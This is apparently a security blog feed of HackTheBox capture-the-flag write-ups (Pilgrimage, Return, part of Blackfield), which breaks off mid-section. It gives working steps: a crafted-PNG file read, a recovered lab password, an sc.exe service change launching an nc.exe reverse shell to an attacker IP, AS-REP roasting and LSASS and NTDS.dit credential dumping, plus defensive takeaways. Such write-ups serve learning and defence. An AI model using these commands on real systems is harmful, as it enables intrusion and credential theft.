<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/82dd672c-ea65-4b5b-92de-a509d5879f0b.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p><code>/etc/passwd</code> is read on the server</p>
</li>
<li><p>Its contents are injected into the output</p>
</li>
<li><p>That output is returned to me</p>
</li>
</ul>
<p>This effectively gives me a file read primitive through the backend.</p>
<p>The key point here is that this is not a traditional LFI through a URL parameter—this is LFI through abusing how a backend library parses user-controlled input.</p>
<hr />
<h3>Why RFI Was Not an Option</h3>
<p>At this point, a common instinct is to try Remote File Inclusion to get code execution.</p>
<p>That doesn’t apply here.</p>
<p>This vulnerability:</p>
<ul>
<li><p>Only reads local files</p>
</li>
<li><p>Does not execute what it reads</p>
</li>
<li><p>Does not support remote paths</p>
</li>
</ul>
<hr />
<h3>Credential Extraction via LFI</h3>
<p>Instead of chasing RCE, I shifted focus to what LFI is best at: reading sensitive data.</p>
<p>From reviewing the source code, I already knew the application used a SQLite database. That immediately became my target.</p>
<p>Using the same technique, I extracted the database file, rebuilt it locally, and dumped its contents:</p>
<pre><code class="language-bash">xxd -r -p pil.db.hex &gt; pil.db
sqlite3 pil.db
.dump
</code></pre>
<p>This revealed credentials for a valid user:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ed00b1cb-7a0a-4ce7-a12c-dfa3ee715ed8.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-sql">INSERT INTO users VALUES('emily','abigchonkyboi123');
</code></pre>
<hr />
<h3>Initial Access</h3>
<p>With SSH open, I used the recovered credentials to log in as <code>emily</code> and gained a shell on the system.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Binwalk Vulnerability</h3>
<p>Inside Emily’s home directory, I found a reference to <code>binwalk</code>. Checking the version showed it was vulnerable to command execution.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/258a07e6-1259-422c-91a3-c84796186fa4.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7da9ec4b-4f32-46ef-bffb-6bde9cdd7620.png" alt="" style="display:block;margin:0 auto" />

<p>Binwalk analyzes files by extracting embedded data and processing it. The issue is that it does not safely handle certain extracted content, which allows crafted files to trigger command execution.</p>
<p>However, running the exploit directly would only give me a shell as <code>emily</code>, so I needed to find where binwalk was being used with higher privileges.</p>
<hr />
<h3>Root Script Behavior</h3>
<p>Using:</p>
<pre><code class="language-bash">ps auxww
</code></pre>
<p>I discovered a root-owned process monitoring a directory:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29104660-fed6-4436-894d-9af94ef8ed6a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-bash">/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8e217235-b42a-49a1-8488-d799610c74a6.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>The system watches for new files</p>
</li>
<li><p>When a file is created, a script runs</p>
</li>
<li><p>That script processes the file using binwalk</p>
</li>
<li><p>The script runs as root</p>
</li>
</ul>
<p>This creates a dangerous condition:</p>
<p>A privileged process is automatically handling user-controlled input.</p>
<hr />
<h3>Exploitation</h3>
<ol>
<li><p>Create a malicious file targeting the binwalk vulnerability</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/db1fe891-73fc-4137-b922-86e440c41308.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Place it in the monitored directory</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c7713188-b48e-4fe5-b2e1-535f909f9941.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Wait for the root script to process it</p>
</li>
</ol>
<p>When the script triggered, it executed binwalk as root against my payload, resulting in a reverse shell.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9db44fc5-3ec9-4a22-9cda-b825419bf63e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h1>5. Lessons Learned</h1>
<h3><strong>1. LFI Is About Data First, Not Execution</strong></h3>
<p>One of the biggest takeaways from this box is that LFI is not always about getting code execution. In many cases, its real value comes from reading sensitive files such as databases, configuration files, or credentials. In this case, focusing on data extraction instead of forcing RCE led directly to a working foothold.</p>
<h3><strong>2. Source Code Changes Everything</strong></h3>
<p>Having access to the application’s source code through the exposed <code>.git</code> directory removed guesswork entirely. Instead of blindly testing inputs, I was able to understand how the application worked, identify backend components, and target specific files with purpose.</p>
<h3><strong>3. File Processing Is a High-Risk Attack Surface</strong></h3>
<p>Applications that process user-uploaded files introduce complex parsing behavior. Tools like ImageMagick are powerful but can interpret metadata in unexpected ways, which creates opportunities for vulnerabilities like this one. Any time files are being processed server-side, it should immediately raise attention.</p>
<h3><strong>4. Automation Combined with Privilege Is Dangerous</strong></h3>
<p>The privilege escalation in this box was not just about a vulnerable binary—it was about how that binary was being used. A root process was automatically executing binwalk on user-controlled input, which created a reliable path to escalation. Automation without proper safeguards is a serious risk.</p>
<h3><strong>5. Running Processes Often Reveal the Path Forward</strong></h3>
<p>The <code>ps auxww</code> output directly exposed the privilege escalation vector. Without checking running processes, it would have been much harder to identify how binwalk was being used. This reinforces how critical process enumeration is during privesc.</p>
<hr />
<h1>6. Defensive Insight</h1>
<h3><strong>1. Do Not Expose</strong> <code>.git</code> <strong>Directories</strong></h3>
<p>Exposing a <code>.git</code> directory in production allows attackers to reconstruct the entire codebase, including sensitive logic and configuration details. This should always be blocked at the web server level.</p>
<h3><strong>2. Secure File Processing Pipelines</strong></h3>
<p>Any application that processes uploaded files must strictly validate and sanitize input. User-controlled data should never be passed directly into system-level tools without proper handling or isolation.</p>
<h3><strong>3. Patch Third-Party Dependencies</strong></h3>
<p>Both ImageMagick and binwalk had known vulnerabilities that were exploited in this box. Keeping dependencies updated is one of the simplest and most effective ways to prevent these types of attacks.</p>
<h3><strong>4. Restrict Access to Sensitive Files</strong></h3>
<p>Database files and other sensitive resources should not be readable by components that interact with user input. Proper file permission controls can significantly limit the impact of vulnerabilities like LFI.</p>
<h3><strong>5. Avoid Root-Level Automation on Untrusted Input</strong></h3>
<p>Automated processes running as root should never directly process user-controlled data. If automation is required, it should be isolated, validated, and run with the least privileges necessary.</p>
<hr />
<h1>7. Useful Commands</h1>
<h3><strong>Virtual Host Fuzzing (Discover Subdomains)</strong></h3>
<pre><code class="language-plaintext">ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w 
/usr/share/seclists/Discovery/DNS/subdomains-t
</code></pre>
<h3><strong>Dump Exposed</strong> <code>.git</code> <strong>Repository</strong></h3>
<pre><code class="language-plaintext">git-dumper http://pilgrimage.htb/.git src
</code></pre>
<h3><strong>Craft Malicious PNG for LFI (ImageMagick Abuse)</strong></h3>
<pre><code class="language-plaintext">pngcrush -text a "profile" "/etc/passwd" input.png output.png
</code></pre>
<hr />
<h3><strong>Reconstruct Extracted Database File</strong></h3>
<pre><code class="language-plaintext">xxd -r -p pil.db.hex &gt; pil.db
</code></pre>
<h3><strong>Read SQLite Database Contents</strong></h3>
<pre><code class="language-plaintext">sqlite3 pil.db
.dump
</code></pre>
<hr />
<h3><strong>Enumerate Running Processes</strong></h3>
<pre><code class="language-plaintext">ps auxww
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #16
HTB Write-Up Return]]></title><description><![CDATA[1. Target Overview
Machine Name: ReturnPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.95.241Objective: Gain initial access and escalate privileges to SYSTEM within an Active Directory ]]></description><link>https://www.hack2harden.com/oscp-prep-16-htb-write-up-return</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-16-htb-write-up-return</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 24 Mar 2026 23:42:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/58c17728-2f30-4eea-9b62-0563b78d50f1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Return<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.95.241<br /><strong>Objective:</strong> Gain initial access and escalate privileges to SYSTEM within an Active Directory environment.</p>
<p>Return is a Windows Active Directory machine that, on the surface, exposes standard enterprise services like LDAP, SMB, and Kerberos. What made this box stand out to me is how realistic it felt—everything revolved around a misconfigured service and poor credential handling rather than some flashy exploit. It forced me to slow down, pay attention to details, and think through how services actually communicate.</p>
<h3>Tools Used</h3>
<ul>
<li><p>Nmap</p>
</li>
<li><p>NetExec (nxc)</p>
</li>
<li><p>rpcclient</p>
</li>
<li><p>Kerbrute</p>
</li>
<li><p>ffuf</p>
</li>
<li><p>Burp Suite</p>
</li>
<li><p>Netcat</p>
</li>
<li><p>Evil-WinRM</p>
</li>
</ul>
<hr />
<h1>2. Enumeration</h1>
<h3>Initial Enumeration</h3>
<p>I started with an Nmap scan and immediately saw this was a typical Active Directory environment. LDAP (389), Kerberos (88), SMB (445), and a web server on port 80 were all exposed. The presence of an FQDN (<code>return.local</code>) confirmed domain functionality.</p>
<p>I added the domain to my <code>/etc/hosts</code> file to ensure proper resolution before continuing.</p>
<hr />
<h3>SMB Enumeration</h3>
<p>I attempted anonymous SMB enumeration:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/dd514a5f-111e-43e2-b598-e8c6be6bc342.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Null authentication was allowed</p>
</li>
<li><p>Share enumeration failed with <code>STATUS_ACCESS_DENIED</code></p>
</li>
</ul>
<p>This told me SMB was present but locked down properly—no easy wins here.</p>
<hr />
<h3>RPC Enumeration</h3>
<p>Next, I tried anonymous RPC enumeration:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84e4ce1a-1e11-41fd-9b34-fbccc62b6784.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Attempted <code>enumdomusers</code></p>
</li>
<li><p>Access was denied</p>
</li>
</ul>
<p>Again, nothing exposed anonymously.</p>
<hr />
<h3>LDAP Enumeration</h3>
<p>I attempted LDAP user enumeration:</p>
<ul>
<li><p>LDAP bind failed due to lack of authentication</p>
</li>
<li><p>No anonymous access allowed</p>
</li>
</ul>
<p>At this point, it was clear: <strong>no anonymous enumeration path was going to work on this box.</strong></p>
<hr />
<h3>Web Enumeration</h3>
<p>Since infrastructure enumeration was blocked, I shifted focus to the web server.</p>
<p>Running <code>ffuf</code> revealed several <code>.php</code> endpoints, indicating a dynamic web application.</p>
<p>When I visited the site, I found something interesting—a <strong>printer admin panel</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b64a15df-db0f-44fa-ad29-ce3acaf85b42.png" alt="" style="display:block;margin:0 auto" />

<p>Inside the settings page, I noticed:</p>
<ul>
<li><p>Server Address</p>
</li>
<li><p>Port (389)</p>
</li>
<li><p>Username: <code>svc-printer</code></p>
</li>
<li><p>Password field (masked)</p>
</li>
</ul>
<p>This immediately stood out. Service accounts exposed in web apps are always worth investigating.</p>
<hr />
<h3>Kerberos Enumeration</h3>
<p>I used <code>kerbrute</code> to validate the username:</p>
<ul>
<li><code>svc-printer</code> was confirmed as a valid domain user</li>
</ul>
<p>I attempted AS-REP roasting, but it failed—so no luck there.</p>
<hr />
<h3>Potential Vulnerability Identified</h3>
<p>At this point, the key observation was:</p>
<ul>
<li><p>The web app allows updating a <strong>server address</strong></p>
</li>
<li><p>It references <strong>LDAP (port 389)</strong></p>
</li>
<li><p>It uses a <strong>service account (svc-printer)</strong></p>
</li>
</ul>
<p>This strongly suggested the application might be attempting authentication against whatever server I supply.</p>
<h1>3. Exploitation</h1>
<h3>Initial Foothold</h3>
<p>I intercepted the request to <code>/settings.php</code> using Burp Suite and noticed something important:</p>
<ul>
<li>The POST request only contained a field for the <strong>server IP</strong></li>
</ul>
<p>My initial thought was to replace this with my attacking machine and catch a connection.</p>
<p>I first tried:</p>
<ul>
<li>Netcat listener on port 80 → <strong>no response</strong></li>
</ul>
<p>Then I corrected my mistake:</p>
<ul>
<li>The application explicitly referenced <strong>port 389 (LDAP)</strong></li>
</ul>
<p>So I switched my listener:</p>
<pre><code class="language-plaintext">nc -nvlp 389
</code></pre>
<p>This time, I received a connection from the target.</p>
<h3>Credential Capture</h3>
<p>The application attempted to authenticate to my listener using:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5e0646ae-c563-4e76-bc7b-3ad619cdd76f.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>Username: <code>svc-printer</code></p>
</li>
<li><p>Password: <strong>plaintext</strong></p>
</li>
</ul>
<p>This was the foothold.</p>
<p><strong>Key takeaway:</strong><br />I was tunnel-visioned on HTTP, but the application logic was using LDAP. The port number was right in front of me the whole time.</p>
<hr />
<h3>User Access</h3>
<p>With credentials in hand, I tested WinRM access:</p>
<ul>
<li><code>svc-printer</code> had WinRM access → successful login via Evil-WinRM</li>
</ul>
<p>I now had a shell as a domain user.</p>
<hr />
<h3>Post-Compromise Validation</h3>
<p>I enumerated the domain:</p>
<ul>
<li>Only one other user: Administrator</li>
</ul>
<p>This hinted that privilege escalation would likely be local rather than domain-based.</p>
<hr />
<h1>4. Privilege Escalation</h1>
<h3>Local Enumeration</h3>
<p>I followed my Windows privilege escalation checklist:</p>
<ul>
<li><p>Checked for autologon credentials → none found</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7fb4bd0b-a7d0-4390-8ade-4be3a1437660.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>Checked user directories → nothing useful</p>
</li>
</ul>
<hr />
<h3>User Context Review</h3>
<p>Running:</p>
<pre><code class="language-plaintext">whoami /all
</code></pre>
<p>Revealed something critical:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/857ecf77-f827-457c-a44b-311afbf11840.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>User is a member of <strong>Server Operators</strong></li>
</ul>
<p>This is a high-value group.</p>
<hr />
<h3>Privilege Escalation Path</h3>
<p>Members of <strong>Server Operators</strong> can:</p>
<ul>
<li><p>Start/stop services</p>
</li>
<li><p>Modify service configurations</p>
</li>
<li><p>Execute binaries as SYSTEM</p>
</li>
</ul>
<p>This is essentially a direct path to SYSTEM if abused correctly.</p>
<hr />
<h3>Exploitation via Services</h3>
<p>I uploaded <code>nc.exe</code> to the target and modified the <strong>Volume Shadow Copy (VSS)</strong> service:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/2603b8df-8cf2-43ca-8848-e8576265ac4b.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">sc.exe config VSS binpath= "C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
sc.exe start VSS
</code></pre>
<p>This triggered a reverse shell.</p>
<hr />
<h3>Shell Stability Issue</h3>
<p>The initial shell was unstable.</p>
<p>Reason:</p>
<ul>
<li><p>Windows expects services to behave in a specific way</p>
</li>
<li><p>If they don’t, they get terminated</p>
</li>
</ul>
<h3>Stable Shell Workaround</h3>
<p>To fix this, I wrapped the payload in <code>cmd.exe</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/66ccd136-fdd8-4719-8de4-6d7e3460d011.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
</code></pre>
<p>This worked because:</p>
<ul>
<li><p>The service starts <code>cmd.exe</code> (valid behavior)</p>
</li>
<li><p><code>cmd.exe</code> spawns netcat as a child process</p>
</li>
<li><p>Even if the service dies, the shell persists</p>
</li>
</ul>
<hr />
<h3>SYSTEM Access</h3>
<p>After triggering the service again, I received a stable shell:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/208a7b33-ceb1-43f3-ada7-7dbabc8bee22.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">nt authority\system
</code></pre>
<p>Full compromise.</p>
<hr />
<h1>5. Lessons Learned</h1>
<h3><strong>1. Avoid Tunnel Vision</strong></h3>
<p>I initially assumed everything would communicate over HTTP. That was wrong.</p>
<p>The application clearly showed port 389, and once I aligned my testing with that, everything worked.</p>
<hr />
<h3>2. Always Trust What the Application Tells You</h3>
<p>The web interface literally gave me:</p>
<p>Protocol (LDAP) Port (389) Username (svc-printer)</p>
<p>That’s not decoration—that’s attack surface.</p>
<hr />
<h3>3. Server Operators = High Value</h3>
<p>This group is extremely powerful.</p>
<p>If you see it, treat it the same way you would:</p>
<p>SeImpersonatePrivilege WriteDACL GenericAll</p>
<p>It’s basically a built-in privesc path.</p>
<hr />
<h3>4. Service Abuse is a Reliable Privesc Vector</h3>
<p>Using sc.exe to modify services is:</p>
<p>Simple Reliable Extremely effective</p>
<p>This is something I’ll actively look for going forward.</p>
<hr />
<h3>5. Shell Stability Matters</h3>
<p>Getting a shell is not enough.</p>
<p>Understanding why it dies and how to stabilize it is what separates a working exploit from a reliable one.</p>
<h1>6. Defensive Insight</h1>
<h3><strong>1. Never Store or Transmit Credentials in Plaintext</strong></h3>
<p>The printer service leaked credentials over LDAP without encryption.</p>
<p>This is a critical failure.</p>
<hr />
<h3><strong>2. Restrict Service Account Permissions</strong></h3>
<p>The <code>svc-printer</code> account had:</p>
<ul>
<li><p>WinRM access</p>
</li>
<li><p>Membership in Server Operators</p>
</li>
</ul>
<p>That’s excessive privilege for a service account.</p>
<hr />
<h3><strong>3. Secure Service Configuration Permissions</strong></h3>
<p>Allowing non-admin users to modify services is dangerous.</p>
<p>This is a direct escalation path.</p>
<hr />
<h3><strong>4. Enforce LDAP Signing and Encryption</strong></h3>
<p>LDAP without signing allows credential interception.</p>
<p>This should always be enforced in production environments.</p>
<h1>7. Useful Commands</h1>
<h3>Enumeration</h3>
<pre><code class="language-plaintext">nxc smb &lt;target&gt; -u '' -p '' --shares
rpcclient -U "" -N &lt;target&gt;
nxc ldap &lt;target&gt; --users
kerbrute userenum -d return.local users.txt
</code></pre>
<h3>Exploitation</h3>
<pre><code class="language-plaintext">nc -nvlp 389
</code></pre>
<h3>Privilege Escalation</h3>
<pre><code class="language-plaintext">whoami /all
sc.exe config &lt;service&gt; binpath= "&lt;payload&gt;"
sc.exe start &lt;service&gt;
</code></pre>
<h3>Active Directory</h3>
<pre><code class="language-plaintext">evil-winrm -i &lt;target&gt; -u svc-printer -p &lt;password&gt;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[OSCP Prep #15
HTB Write-Up Blackfield]]></title><description><![CDATA[1. Target Overview
Machine Name: BlackfieldPlatform: HackTheBoxOperating System: WindowsTarget IP: 10.129.229.17Objective: Gain Domain Administrator access
Blackfield is definitely one of the best AD ]]></description><link>https://www.hack2harden.com/oscp-prep-15-htb-write-up-blackfield</link><guid isPermaLink="true">https://www.hack2harden.com/oscp-prep-15-htb-write-up-blackfield</guid><dc:creator><![CDATA[Deonte Spencer]]></dc:creator><pubDate>Tue, 24 Mar 2026 23:37:54 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/87b33156-0aa1-48e7-8aeb-e11ab3588ec0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>1. Target Overview</h1>
<p><strong>Machine Name:</strong> Blackfield<br /><strong>Platform:</strong> HackTheBox<br /><strong>Operating System:</strong> Windows<br /><strong>Target IP:</strong> 10.129.229.17<br /><strong>Objective:</strong> Gain Domain Administrator access</p>
<p>Blackfield is definitely one of the best AD machines I’ve done so far. It’s all about chaining realistic misconfigurations together. Every step builds on the last.</p>
<h2>Tools Used</h2>
<ul>
<li><p>Nmap</p>
</li>
<li><p>NetExec (NXC)</p>
</li>
<li><p>Kerbrute</p>
</li>
<li><p>Impacket</p>
</li>
<li><p>John the Ripper</p>
</li>
<li><p>RustHound-CE</p>
</li>
<li><p>BloodHound</p>
</li>
<li><p>pypykatz</p>
</li>
<li><p>Evil-WinRM</p>
</li>
<li><p>DiskShadow</p>
</li>
<li><p>Robocopy</p>
</li>
</ul>
<h1>2. Enumeration</h1>
<p>I kicked things off with an Nmap scan and immediately saw what I expected from a domain controller—LDAP, Kerberos, SMB, RPC, DNS. Nothing unusual, but everything I needed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ac3bf583-f5ec-4124-bd2f-6faf376e56f8.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3e24f5bd-0b58-4ebe-af61-8a260901f90b.png" alt="" style="display:block;margin:0 auto" />

<p>The scan also leaked the domain:</p>
<p><strong>BLACKFIELD.local</strong></p>
<p>First move—add that to <code>/etc/hosts</code>. Always.</p>
<h3>Anonymous SMB Access</h3>
<p>Next step was checking SMB:</p>
<p>I tested guest access and got in. That alone is already a foothold from an enumeration standpoint.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d480d7d9-bad9-4c66-9990-8fdacef18416.png" alt="" style="display:block;margin:0 auto" />

<p>I was able to:</p>
<ul>
<li><p>List shares</p>
</li>
<li><p>Read from at least one share (<code>profiles$</code>)</p>
</li>
</ul>
<h3>RID Brute</h3>
<p>I tried normal user enumeration first (<code>--users</code>)—nothing.</p>
<p>So I pivoted to:</p>
<p><code>--rid-brute</code></p>
<p>This worked immediately.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6ca5b63-6bcd-40a2-b573-1b0052d53be7.png" alt="" style="display:block;margin:0 auto" />

<p>Here’s the difference in plain terms:</p>
<ul>
<li><p><code>--users</code> = asks nicely (requires permissions)</p>
</li>
<li><p><code>--rid-brute</code> = doesn’t care, brute-forces user IDs through RPC</p>
</li>
</ul>
<p>Windows assigns every user a RID. If you know the domain SID, you can just iterate RIDs and ask:<br />“Hey, does this exist?”</p>
<p>That’s exactly what this module does—and it works as long as anonymous access is allowed even when proper enumeration is blocked.</p>
<p>This gave me:</p>
<ul>
<li><p>Domain users</p>
</li>
<li><p>Groups</p>
</li>
<li><p>Service accounts</p>
</li>
</ul>
<p>At that point, I had a clean user list to work with.</p>
<h3>Username Validation</h3>
<p>Before doing anything else, I validated the users with Kerbrute.</p>
<p>Because:</p>
<ul>
<li><p>Kerberos will tell you if a username is real</p>
</li>
<li><p>No password required</p>
</li>
</ul>
<p>Now I knew I had <strong>valid domain accounts</strong>, not just guesses.</p>
<h1>3. Exploitation</h1>
<h3>AS-REP Roasting</h3>
<p>Whenever I have valid users and no passwords, I always try AS-REP roasting. Here’s what’s happening under the hood:</p>
<p>Normally, Kerberos requires pre-authentication—basically proof you know the password.</p>
<p>But if a user has:<br /><code>UF_DONT_REQUIRE_PREAUTH</code></p>
<p>the domain will hand you an encrypted response <strong>without verifying who you are</strong>.</p>
<p>That’s a mistake. And it’s a big one.</p>
<p>I ran the attack with impackets GetNPUsers and got a hash back for one of the users.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8fee87e2-6dc1-488d-abcf-b6f9d6dcd4b6.png" alt="" style="display:block;margin:0 auto" />

<p>Next I cracked it with John → got credentials for:</p>
<p><strong>support</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/778db889-dccd-4ec7-bcdc-e28328a7f43a.png" alt="" style="display:block;margin:0 auto" />

<p>That’s my first real foothold.</p>
<h3>Standard Post-Cred Checks</h3>
<p>Once I had credentials, I followed the same routine I always do:</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3f7d208a-8442-4f1a-8b26-b733bd1ee8d8.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li><p><strong>Password spraying</strong> → no reuse</p>
</li>
<li><p><strong>Kerberoasting</strong> → nothing</p>
</li>
<li><p><strong>SMB access</strong> → same as guest</p>
</li>
<li><p><strong>WinRM</strong> → no access</p>
</li>
</ol>
<p>So at this point with nothing obvious it was time to move on to bloodhound for further enumeration of potential attack vectors.</p>
<h3>BloodHound (External Enumeration)</h3>
<p>I ran BloodHound using RustHound (since NXC’s collector wasn’t behaving—likely LDAPS issues).</p>
<p>This was a good reminder:<br /><strong>don’t marry one tool.</strong></p>
<h3>ForceChangePassword Abuse</h3>
<p>BloodHound showed something very interesting:</p>
<p>The <code>support</code> user had <strong>ForceChangePassword</strong> over:</p>
<p><strong>audit2020</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9b5e53cd-f93d-46d0-8f82-32eb6cd8de9f.png" alt="" style="display:block;margin:0 auto" />

<p>That’s game over for that user.</p>
<p>If you can change someone’s password, you <em>are</em> that user.</p>
<p>I used bloodyAD to reset it and immediately logged in as <code>audit2020</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e1b005aa-b82f-42fd-9824-c0fa8df7333b.png" alt="" style="display:block;margin:0 auto" />

<h3>Forensic Share</h3>
<p>The audit2020 user had access to a new share:</p>
<p><strong>forensic</strong></p>
<p>I spidered it and hit:</p>
<p><a href="http://lsass.zip"><strong>lsass.zip</strong></a></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b233e28a-f2a5-41db-8d0c-122a8d27489a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/84092962-e078-4911-ab9c-fc2f07f60d6b.png" alt="" style="display:block;margin:0 auto" />

<h3>LSASS Dump (Huge Learning Point)</h3>
<p>Quick breakdown:</p>
<p>LSASS = Windows process that handles authentication</p>
<p>It stores:</p>
<ul>
<li><p>NTLM hashes</p>
</li>
<li><p>Kerberos tickets</p>
</li>
<li><p>Credentials in memory</p>
</li>
</ul>
<p>So if you get a dump of LSASS, you’re basically looking at <strong>live credential material</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/502212c5-c5ee-4996-8b6d-06b097c9442e.png" alt="" style="display:block;margin:0 auto" />

<p>I downloaded it with smbclient, extracted it, and ran:</p>
<p><code>pypykatz</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8056ba96-394f-4800-984e-79b3e4e74790.png" alt="" style="display:block;margin:0 auto" />

<p>This tool parses memory dumps and pulls out usable creds.</p>
<p>Most of the hashes were dead, but one worked:</p>
<p><strong>svc_backup</strong></p>
<h3>Lateral Movement</h3>
<p>I tested the hash and it was valid. Next I Checked WinRM and saw the user had remote access privileges.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7480261b-68d1-4ab3-9e5d-1096f6544a6b.png" alt="" style="display:block;margin:0 auto" />

<p>That’s immediate shell access. I checked the svc_backup users bloodhound abilities but there was nothing of note. Next i used evil-winrm to log in and see if there were anymore local priv esc vectors.</p>
<h1>4. Privilege Escalation</h1>
<h3>SeBackupPrivilege</h3>
<p>First thing I did in my winrm session as the svc_backup user was</p>
<p><code>whoami /all</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f8469c30-24a7-4258-a86e-9bac9b8c2405.png" alt="" style="display:block;margin:0 auto" />

<p>and saw a goldmine privilege:</p>
<p><strong>SeBackupPrivilege</strong></p>
<p>This is one of those privileges you need to recognize instantly.</p>
<h3>Why This Matters</h3>
<p>This privilege lets you:</p>
<ul>
<li><p>Read ANY file on the system</p>
</li>
<li><p>Ignore file permissions completely</p>
</li>
</ul>
<p>That includes:</p>
<ul>
<li><p><code>NTDS.dit</code></p>
</li>
<li><p>Registry hives</p>
</li>
</ul>
<h3>What is NTDS.dit?</h3>
<p>This is the Active Directory database.</p>
<p>It contains:</p>
<ul>
<li><p>Every domain user</p>
</li>
<li><p>Every password hash</p>
</li>
<li><p>Everything that matters</p>
</li>
</ul>
<p>But it’s encrypted.</p>
<p>To decrypt it, you also need:</p>
<ul>
<li>SYSTEM hive (contains boot key)</li>
</ul>
<h2>The Attack</h2>
<h3>What You’re Actually Trying to Do</h3>
<p>At this stage, you already know:</p>
<ul>
<li><p>You have <strong>SeBackupPrivilege</strong></p>
</li>
<li><p>You want <strong>NTDS.dit + SYSTEM</strong></p>
</li>
<li><p>Goal = <strong>dump all domain hashes</strong></p>
</li>
</ul>
<p>But there’s a problem:</p>
<p>You <strong>cannot directly copy NTDS.dit</strong> while the system is running</p>
<p>Why?</p>
<ul>
<li><p>It’s locked by Active Directory (ntds service)</p>
</li>
<li><p>Windows prevents direct access to in-use system files</p>
</li>
</ul>
<p>So the real problem becomes:</p>
<blockquote>
<p>“How do I get a readable copy of a locked file?”</p>
</blockquote>
<hr />
<h3>The Solution: Volume Shadow Copy (VSS)</h3>
<p>This is where <strong>DiskShadow</strong> comes in.</p>
<p>DiskShadow is a built-in Windows tool that interacts with:</p>
<p><strong>Volume Shadow Copy Service (VSS)</strong></p>
<hr />
<h3>What VSS Actually Does</h3>
<p>VSS creates a <strong>snapshot of the filesystem at a point in time</strong></p>
<p>Think of it like:</p>
<blockquote>
<p>“Freeze the disk → clone it → let me read the clone”</p>
</blockquote>
<p>So instead of touching the <em>live</em> NTDS.dit file, you:</p>
<ul>
<li><p>Create a snapshot</p>
</li>
<li><p>Access the snapshot</p>
</li>
